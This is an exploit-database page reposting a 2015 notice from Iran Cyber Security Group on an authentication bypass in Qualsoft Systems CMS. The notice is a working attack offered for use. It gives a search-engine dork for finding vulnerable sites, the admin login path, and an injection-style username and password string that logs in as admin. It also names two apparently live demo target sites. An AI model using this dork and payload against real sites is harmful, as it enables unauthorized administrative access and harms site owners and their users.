Qualsoft Systems CMS Authentication Bypass Vulnerability

2015.11.19

Credit: Iran Cyber Security Group

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: intext:Powered by Qualsoft Systems Pvt. Ltd

# Exploit Title : Qualsoft Systems CMS Authentication Bypass Vulnerability
# Date : 19/11/2015
# Exploit Author : Iran Cyber Security Group
# Discovered By : 0x3a
# Category : Web Application Bugs
# Dork : intext:Powered by Qualsoft Systems Pvt. Ltd
# Tested On : Windows , Kali Linux
# Home : Iran-Cyber.net
# Description :
By This Vulenarabity You Can Bypass Authentication And Get Logged In Like An Admin.
# Proof Of Concept :
First Find Targets By Searching The Dork In Search Engines Like Google,Bing,...
After You Selected Your Target Use This Exploit :
# http://site.com/adminlogin.php
Then The Admin Page Comes,Use These Usernames And Passwords :
Username : &#039;=&#039;&#039;or&#039;
Password : &#039;=&#039;&#039;or&#039;
# Demo :
# http://www.agppubXlicschool.com/Adminlogin.php
# http://www.omsaiXengg.com/Adminlogin.php
------------------------------
Website : Iran-Cyber.Net
# Thanks To : root3r | MOHAMAD-NOFOZI | KamraN HellisH | JOK3R | Pi.Hack | CRY$I$ BL4CK | WH!T3 W01F | And All Members Of Iran-Cyber.Net

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Qualsoft Systems CMS Authentication Bypass Vulnerability

Dork: intext:Powered by Qualsoft Systems Pvt. Ltd

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.